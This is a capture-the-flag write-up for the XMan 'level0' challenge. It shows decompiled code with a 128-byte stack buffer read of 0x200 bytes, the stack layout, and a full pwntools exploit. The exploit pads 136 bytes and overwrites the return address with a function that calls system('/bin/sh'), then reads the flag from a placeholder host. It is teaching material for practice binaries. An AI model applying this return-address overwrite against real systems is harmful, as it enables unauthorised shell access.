Problem
Source: XMan
Description: The novice understands what overflow is and believes she can get a shell.
Analysis
Get a shell via overflow.
Solution
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}vulnerable_function
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}Stack overflow refers to a situation where the number of bytes written to a variable on the stack exceeds the size allocated for that variable, thereby overwriting the values of adjacent variables on the stack.
Double-click buf to view the stack structure of this function:
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variablesWrite the address of the function into r (return address) to make it execute.
callsystem
int callsystem()
{
return system("/bin/sh");
}This function calls the system's sh, i.e., a shell.
Exp
Write the address of the function callsystem into the r field of the stack of vulnerable_function to get a shell.
Need to fill buf and s with padding: 128 + 8 = 136 bytes.
from pwn import *
def exploit():
context.arch = 'amd64'
context.binary = './level0'
callsystem_addr = context.binary.symbols['callsystem']
print(callsystem_addr)
r = remote('host', port)
payload = b'@'*136 + pack(callsystem_addr)
r.sendlineafter(b'World', payload)
r.sendline(b'cat ./flag')
print(r.recvline_endswith(b'}').decode())
r.close()
def main():
exploit()
if __name__ == '__main__':
main()Summary
Through reverse analysis, we find that the function vulnerable_function has a stack overflow vulnerability, and the function callsystem can invoke the system shell.
Construct a payload, fill the buf and s with junk data, and write the target function’s address into r.